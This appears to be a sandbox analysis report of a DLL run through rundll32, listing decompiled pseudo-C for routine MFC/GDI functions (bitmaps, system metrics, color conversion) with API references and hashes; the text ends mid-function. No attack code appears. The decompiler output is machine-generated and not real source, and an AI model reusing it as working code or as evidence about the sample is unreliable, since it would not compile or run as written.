0x6eb4f405
0x6eb4f40d
0x6eb4f40d
0x6eb4f40d
0x6eb4f414
0x6eb4f417
0x6eb4f41e
0x6eb4f42a
0x6eb4f42a
0x6eb4f42a
0x6eb4f42c
0x6eb4f42f
0x6eb4f432
0x6eb4f43e
0x6eb4f440
0x6eb4f445
0x6eb4f448
0x6eb4f448
0x6eb4f448
0x6eb4f457
0x6eb4f459
0x6eb4f459
0x00000000

APIs

_memset.LIBCMT ref: 6EB4F19D

Strings

@, xrefs: 6EB4F2A9
AfxFrameOrView90s, xrefs: 6EB4F263
AfxMDIFrame90s, xrefs: 6EB4F23E
@, xrefs: 6EB4F342

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView90s$AfxMDIFrame90s
API String ID: 2102423945-455206835
Opcode ID: da6d2ef579351aec98c1522b264b0056ddd6eb718c4754c227d80c63b50048fd
Instruction ID: ae68f1af1de9ca2d99c41034f665aea578e62d919f81e21a78bdbc33ee9f82ca
Opcode Fuzzy Hash: da6d2ef579351aec98c1522b264b0056ddd6eb718c4754c227d80c63b50048fd
Instruction Fuzzy Hash: 699143B2C1029AFAEB50CFE4D581BDEBFF8AF04344F209565E914E7185D7748644EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48202 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB48202(void* __edx) {
				signed int _v8;
				void _v136;
				int _v140;
				int _v144;
				char _v148;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t21;
				unsigned int _t23;
				char* _t35;
				struct HBITMAP__* _t37;
				unsigned int _t40;
				signed short _t42;
				void* _t46;
				int _t47;
				unsigned int _t49;
				void* _t52;
				signed char* _t53;
				void* _t54;
				signed int _t58;
				void* _t59;
				void* _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t66;
				signed int _t68;

				_t52 = __edx;
				_t66 = _t68;
				_t21 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t21 ^ _t66;
				_push(_t60);
				_push(_t54);
				_t23 = GetMenuCheckMarkDimensions();
				_t47 = _t23;
				_t40 = _t23 >> 0x10;
				_v144 = _t47;
				_v140 = _t40;
				if(_t47 <= 4) {
					L3:
					E6EB48BA4(_t40, _t47, _t54, _t60, _t73);
				} else {
					_t73 = _t40 - 5;
					if(_t40 <= 5) {
						goto L3;
					}
				}
				if(_t47 > 0x20) {
					_t47 = 0x20;
					_v144 = _t47;
				}
				asm("cdq");
				_t62 = _t47 + 0xf >> 4;
				_t58 = (_t47 - 4 - _t52 >> 1) + (_t62 << 4) - _t47;
				if(_t58 > 0xc) {
					_t58 = 0xc;
				}
				if(_t40 > 0x20) {
					_t40 = 0x20;
					_v140 = _t40;
				}
				E6EB65E80(_t58,  &_v136, 0xff, 0x80);
				_t35 = _t66 + (_t40 - 6 >> 1) * _t62 * 2 - 0x84;
				_t53 = 0x6eb796cc;
				_t63 = _t62 + _t62;
				_v148 = 5;
				do {
					_t42 = ( *_t53 & 0x000000ff) << _t58;
					_t53 =  &(_t53[1]);
					_t49 =  !_t42 & 0x0000ffff;
					 *_t35 = _t49 >> 8;
					 *(_t35 + 1) = _t49;
					_t35 = _t35 + _t63;
					_t15 =  &_v148;
					 *_t15 = _v148 - 1;
				} while ( *_t15 != 0);
				_t37 = CreateBitmap(_v144, _v140, 1, 1,  &_v136);
				_pop(_t59);
				_pop(_t64);
				 *0x6eb8c940 = _t37;
				_pop(_t46);
				if(_t37 == 0) {
					 *0x6eb8c940 = _t37;
				}
				return E6EB63DE0(_t37, _t46, _v8 ^ _t66, _t53, _t59, _t64);
			}

APIs

GetMenuCheckMarkDimensions.USER32 ref: 6EB4821A
_memset.LIBCMT ref: 6EB48292
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 6EB482F5
LoadBitmapA.USER32 ref: 6EB4830D

Strings

, xrefs: 6EB48273

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction ID: c2c6b578925199e533e072813e03b7e9fe508ee7c01dceca83256e8b47993261
Opcode Fuzzy Hash: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction Fuzzy Hash: 5A312771A00665DFEF208FA8DC84B9D7FB9FB45304F4545AAF549EB281CB308A859F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A25E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EB4A25E(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E6EB4A0A9() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E6EB66DA9(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x6eb8c528(_a4, _a8);
			}

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 6EB4A29E
GetSystemMetrics.USER32 ref: 6EB4A2B6
GetSystemMetrics.USER32 ref: 6EB4A2BD

Strings

B, xrefs: 6EB4A27D
DISPLAY, xrefs: 6EB4A2DA

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction ID: 4f69112b535743c8e1c40156f253ceaa93981210ea52bb0597f85c987e15ff50
Opcode Fuzzy Hash: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction Fuzzy Hash: 5F11B2B1501266EBDF119FA48C80A9B7FA8EF0A750B014471FD14BE149E672C440EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52B1C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB52B1C(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E6EB4AA6A(__ecx, __eflags, _t26) == 0) {
					_t10 = E6EB4D076(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E6EB4AF4D(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E6EB5446C(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

Strings

Edit, xrefs: 6EB52B70

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction ID: 66cba6faf803e23d7f2ab011a72068078d3daef35765e56574bd4414cd631496
Opcode Fuzzy Hash: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction Fuzzy Hash: B811A531251296AFFE501EA6CD04F5ABEBEEB61750F014434E552F77A0DB61D870CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6CD78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EB6CD78(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t26 = __esi;
				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x6eb85640);
						E6EB66608(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E6EB6664D(E6EB6DF1C(_t23, _t24, _t25, _t26));
					}
				}
			}

APIs

__getptd.LIBCMT ref: 6EB6CD92

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6CDA3
__getptd.LIBCMT ref: 6EB6CDB1

Strings

MOC, xrefs: 6EB6CD84
csm, xrefs: 6EB6CD8B

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction ID: 3c6b56f79ed4d032a7d656e95158feb65923ebf80530f25bc29addd23a525c07
Opcode Fuzzy Hash: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction Fuzzy Hash: 42E08C311202988FCB409BE4C084BDC3FA8FF99318F1548A2D51CDF222EB34EC418E52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB474B8 Relevance: 7.6, APIs: 5, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB474B8(intOrPtr __eax, signed short __ebx, void* __esi, void* __ebp, void* __eflags, void* __fp0, short _a6, short _a10, signed int _a14, short _a18, signed short _a20, intOrPtr _a30, int _a34, intOrPtr _a38, intOrPtr _a40, short _a42, short _a44, struct tagRECT _a46, intOrPtr _a50, intOrPtr _a54, intOrPtr _a56, char _a58, char _a62, short _a64, intOrPtr _a66, int _a68, intOrPtr _a72, char _a74, intOrPtr _a76, struct HBRUSH__* _a78, intOrPtr _a80, signed int _a90, signed int _a96, void* _a110, char _a122, struct HDC__* _a126, char _a138, signed long long _a140, signed int _a214, intOrPtr _a222, char _a230) {
				signed int _v2;
				signed int _v6;
				intOrPtr _t73;
				short _t75;
				signed int _t82;
				void* _t83;
				intOrPtr _t84;
				void* _t96;
				signed short _t100;
				long _t101;
				void* _t102;
				intOrPtr _t103;
				short _t107;
				intOrPtr _t124;
				short _t135;
				RECT* _t136;
				void* _t137;
				void* _t138;
				void* _t140;
				signed int _t143;
				void* _t151;
				signed long long _t153;

				_t151 = __fp0;
				_t138 = __esi;
				_t100 = __ebx;
				_t73 = __eax;
				do {
					_t103 = _a56;
					_t124 = _a40;
					asm("fild dword [esp+0x20]");
					_a68 = 1;
					_a72 = _t124;
					_a76 = _t103 + 1;
					_t153 = (_t151 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_a80 = _t73 + _t124;
					_t75 = E6EB676F0(_t73 + _t124, _t153);
					_a64 = _t75;
					_a96 = _t75 * _t75;
					_t135 = 0;
					asm("fild dword [esp+0x40]");
					_a20 = _t100;
					_a140 = _t153;
					while(1) {
						_t107 =  *(_t138 + 0x74);
						_a44 = _t107;
						_t101 = ColorHLSToRGB(_t135, _t107, _t75);
						 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
						E6EB53F35( &_a138,  &_a58, _t101);
						ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
						_a54 = (_a6 & 0x0000ffff) - _t135;
						_t82 = _v6 & 0x0000ffff;
						_a14 = (_v2 & 0x0000ffff) - _a14;
						_a78 = _t82 * _t82 + _a66;
						_a90 = _t82;
						asm("fild dword [esp+0x2c]");
						_a14 = _t153;
						asm("fild dword [esp+0x6c]");
						_a78 = _t153;
						asm("fild dword [esp+0x54]");
						_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t153 = _a14 * st0;
						asm("faddp st1, st0");
						_t84 = E6EB676F0(_t83, _t153);
						if(_t84 < _a30) {
							_a38 = _t84;
							 *(_t138 + 0x60) = _a46.left;
							 *((intOrPtr*)(_t138 + 0x64)) = _a50;
							 *((intOrPtr*)(_t138 + 0x68)) = _a54;
							 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
							 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
						}
						L6:
						OffsetRect( &_a46, _a34, 0);
						_v2 = _v2 + 4;
						_t135 = _t135 + 0xa;
						if(_t135 < 0xf0) {
							_t75 = _a42;
							_t107 =  *(_t138 + 0x74);
							_a44 = _t107;
							_t101 = ColorHLSToRGB(_t135, _t107, _t75);
							 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
							E6EB53F35( &_a138,  &_a58, _t101);
							ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
							_a54 = (_a6 & 0x0000ffff) - _t135;
							_t82 = _v6 & 0x0000ffff;
							_a14 = (_v2 & 0x0000ffff) - _a14;
							_a78 = _t82 * _t82 + _a66;
							_a90 = _t82;
							asm("fild dword [esp+0x2c]");
							_a14 = _t153;
							asm("fild dword [esp+0x6c]");
							_a78 = _t153;
							asm("fild dword [esp+0x54]");
							_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
							asm("fild dword [esp+0x78]");
							asm("fmulp st1, st0");
							asm("fsubr qword [esp+0x6c]");
							_t153 = _a14 * st0;
							asm("faddp st1, st0");
							_t84 = E6EB676F0(_t83, _t153);
							if(_t84 < _a30) {
								_a38 = _t84;
								 *(_t138 + 0x60) = _a46.left;
								 *((intOrPtr*)(_t138 + 0x64)) = _a50;
								 *((intOrPtr*)(_t138 + 0x68)) = _a54;
								 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
								 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
							}
							goto L6;
						}
						break;
					}
					_t73 = _a30;
					_t100 = _v2;
					_a10 = _a10 + 1;
					_a18 = _a18 + _t73;
				} while (_t100 < 0x900);
				_t136 = _t138 + 0x60;
				InflateRect(_t136, 1, 1);
				_t149 =  *(_t138 + 0x74) - 0xd2;
				_push(((0 |  *(_t138 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
				E6EB49E16( &_a78, _t138,  *(_t138 + 0x74) - 0xd2);
				_t132 = _a126;
				FrameRect(_a126, _t136, _a78);
				_a74 = 0x6eb79cf0;
				E6EB41070( &_a74, _a126);
				_a230 = 0;
				_a62 = 0x6eb79cf0;
				E6EB41070( &_a62, _a126);
				_a230 = 0xffffffff;
				_t96 = E6EB49B87(_t100,  &_a122, _t136, 0x6eb79cf0, _t149);
				 *[fs:0x0] = _a222;
				_pop(_t137);
				_pop(_t140);
				_pop(_t102);
				return E6EB63DE0(_t96, _t102, _a214 ^ _t143, _t132, _t137, _t140);
			}

0x6eb474b8
0x6eb474b8
0x6eb474b8
0x6eb474b8
0x6eb474c0
0x6eb474c0
0x6eb474c4
0x6eb474c8
0x6eb474da
0x6eb474de
0x6eb474e2
0x6eb474e6
0x6eb474ec
0x6eb474f0
0x6eb474fa
0x6eb474fe
0x6eb47502
0x6eb47504
0x6eb47508
0x6eb4750c
0x6eb47519
0x6eb47519
0x6eb4751f
0x6eb4752c
0x6eb4753f
0x6eb47542
0x6eb4755a
0x6eb47570
0x6eb47574
0x6eb47582
0x6eb47586
0x6eb4758a
0x6eb4758e
0x6eb47592
0x6eb47596
0x6eb4759a
0x6eb4759e
0x6eb475a8
0x6eb475ad
0x6eb475ba
0x6eb475bc
0x6eb475c4
0x6eb475c6
0x6eb475c8
0x6eb475d1
0x6eb475db
0x6eb475e3
0x6eb475ea
0x6eb475ed
0x6eb475f0
0x6eb475f3
0x6eb475f3
0x6eb475f6
0x6eb47602
0x6eb47608
0x6eb4760d
0x6eb47616
0x6eb47515
0x6eb47519
0x6eb4751f
0x6eb4752c
0x6eb4753f
0x6eb47542
0x6eb4755a
0x6eb47570
0x6eb47574
0x6eb47582
0x6eb47586
0x6eb4758a
0x6eb4758e
0x6eb47592
0x6eb47596
0x6eb4759a
0x6eb4759e
0x6eb475a8
0x6eb475ad
0x6eb475ba
0x6eb475bc
0x6eb475c4
0x6eb475c6
0x6eb475c8
0x6eb475d1
0x6eb475db
0x6eb475e3
0x6eb475ea
0x6eb475ed
0x6eb475f0
0x6eb475f3
0x6eb475f3
0x00000000
0x6eb475d1
0x00000000
0x6eb47616
0x6eb4761c
0x6eb47620
0x6eb47624
0x6eb47628
0x6eb4762c
0x6eb4763c
0x6eb47640
0x6eb47648
0x6eb47661
0x6eb47662
0x6eb4766b
0x6eb47675
0x6eb47684
0x6eb47688
0x6eb4768d
0x6eb47699
0x6eb4769d
0x6eb476a9
0x6eb476b4
0x6eb476c0
0x6eb476c8
0x6eb476c9
0x6eb476ca
0x6eb476dc

APIs

ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ColorRect$FrameInflateOffsetText
String ID:
API String ID: 445312294-0
Opcode ID: 82de5c549fb5b4811a8ec18e8bc96925f70efe594f300ea1286628abc62ff32b
Instruction ID: ffadd99481e055ca19ce1b10b2c6520671a169c01a2bccd1a46fb03acd7f2f3f
Opcode Fuzzy Hash: 82de5c549fb5b4811a8ec18e8bc96925f70efe594f300ea1286628abc62ff32b
Instruction Fuzzy Hash: 185112725087808FC324CF65C494AAEBBF4FFC9714F008E1DE59A932A4EB749844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB474B6 Relevance: 7.6, APIs: 5, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB474B6(intOrPtr __eax, signed short __ebx, void* __esi, void* __ebp, void* __eflags, void* __fp0, short _a6, short _a10, signed int _a14, short _a18, signed short _a20, intOrPtr _a30, int _a34, intOrPtr _a38, intOrPtr _a40, short _a42, short _a44, struct tagRECT _a46, intOrPtr _a50, intOrPtr _a54, intOrPtr _a56, char _a58, char _a62, short _a64, intOrPtr _a66, int _a68, intOrPtr _a72, char _a74, intOrPtr _a76, struct HBRUSH__* _a78, intOrPtr _a80, signed int _a90, signed int _a96, void* _a110, char _a122, struct HDC__* _a126, char _a138, signed long long _a140, signed int _a214, intOrPtr _a222, char _a230) {
				signed int _v2;
				signed int _v6;
				intOrPtr _t73;
				short _t75;
				signed int _t82;
				void* _t83;
				intOrPtr _t84;
				void* _t96;
				signed short _t100;
				long _t101;
				void* _t102;
				intOrPtr _t103;
				short _t107;
				intOrPtr _t124;
				short _t135;
				RECT* _t136;
				void* _t137;
				void* _t138;
				void* _t140;
				signed int _t143;
				void* _t151;
				signed long long _t153;

				_t151 = __fp0;
				_t138 = __esi;
				_t100 = __ebx;
				_t73 = __eax;
				do {
					_t103 = _a56;
					_t124 = _a40;
					asm("fild dword [esp+0x20]");
					_a68 = 1;
					_a72 = _t124;
					_a76 = _t103 + 1;
					_t153 = (_t151 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_a80 = _t73 + _t124;
					_t75 = E6EB676F0(_t73 + _t124, _t153);
					_a64 = _t75;
					_a96 = _t75 * _t75;
					_t135 = 0;
					asm("fild dword [esp+0x40]");
					_a20 = _t100;
					_a140 = _t153;
					while(1) {
						_t107 =  *(_t138 + 0x74);
						_a44 = _t107;
						_t101 = ColorHLSToRGB(_t135, _t107, _t75);
						 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
						E6EB53F35( &_a138,  &_a58, _t101);
						ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
						_a54 = (_a6 & 0x0000ffff) - _t135;
						_t82 = _v6 & 0x0000ffff;
						_a14 = (_v2 & 0x0000ffff) - _a14;
						_a78 = _t82 * _t82 + _a66;
						_a90 = _t82;
						asm("fild dword [esp+0x2c]");
						_a14 = _t153;
						asm("fild dword [esp+0x6c]");
						_a78 = _t153;
						asm("fild dword [esp+0x54]");
						_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t153 = _a14 * st0;
						asm("faddp st1, st0");
						_t84 = E6EB676F0(_t83, _t153);
						if(_t84 < _a30) {
							_a38 = _t84;
							 *(_t138 + 0x60) = _a46.left;
							 *((intOrPtr*)(_t138 + 0x64)) = _a50;
							 *((intOrPtr*)(_t138 + 0x68)) = _a54;
							 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
							 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
						}
						L6:
						OffsetRect( &_a46, _a34, 0);
						_v2 = _v2 + 4;
						_t135 = _t135 + 0xa;
						if(_t135 < 0xf0) {
							_t75 = _a42;
							_t107 =  *(_t138 + 0x74);
							_a44 = _t107;
							_t101 = ColorHLSToRGB(_t135, _t107, _t75);
							 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
							E6EB53F35( &_a138,  &_a58, _t101);
							ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
							_a54 = (_a6 & 0x0000ffff) - _t135;
							_t82 = _v6 & 0x0000ffff;
							_a14 = (_v2 & 0x0000ffff) - _a14;
							_a78 = _t82 * _t82 + _a66;
							_a90 = _t82;
							asm("fild dword [esp+0x2c]");
							_a14 = _t153;
							asm("fild dword [esp+0x6c]");
							_a78 = _t153;
							asm("fild dword [esp+0x54]");
							_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
							asm("fild dword [esp+0x78]");
							asm("fmulp st1, st0");
							asm("fsubr qword [esp+0x6c]");
							_t153 = _a14 * st0;
							asm("faddp st1, st0");
							_t84 = E6EB676F0(_t83, _t153);
							if(_t84 < _a30) {
								_a38 = _t84;
								 *(_t138 + 0x60) = _a46.left;
								 *((intOrPtr*)(_t138 + 0x64)) = _a50;
								 *((intOrPtr*)(_t138 + 0x68)) = _a54;
								 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
								 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
							}
							goto L6;
						}
						break;
					}
					_t73 = _a30;
					_t100 = _v2;
					_a10 = _a10 + 1;
					_a18 = _a18 + _t73;
				} while (_t100 < 0x900);
				_t136 = _t138 + 0x60;
				InflateRect(_t136, 1, 1);
				_t149 =  *(_t138 + 0x74) - 0xd2;
				_push(((0 |  *(_t138 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
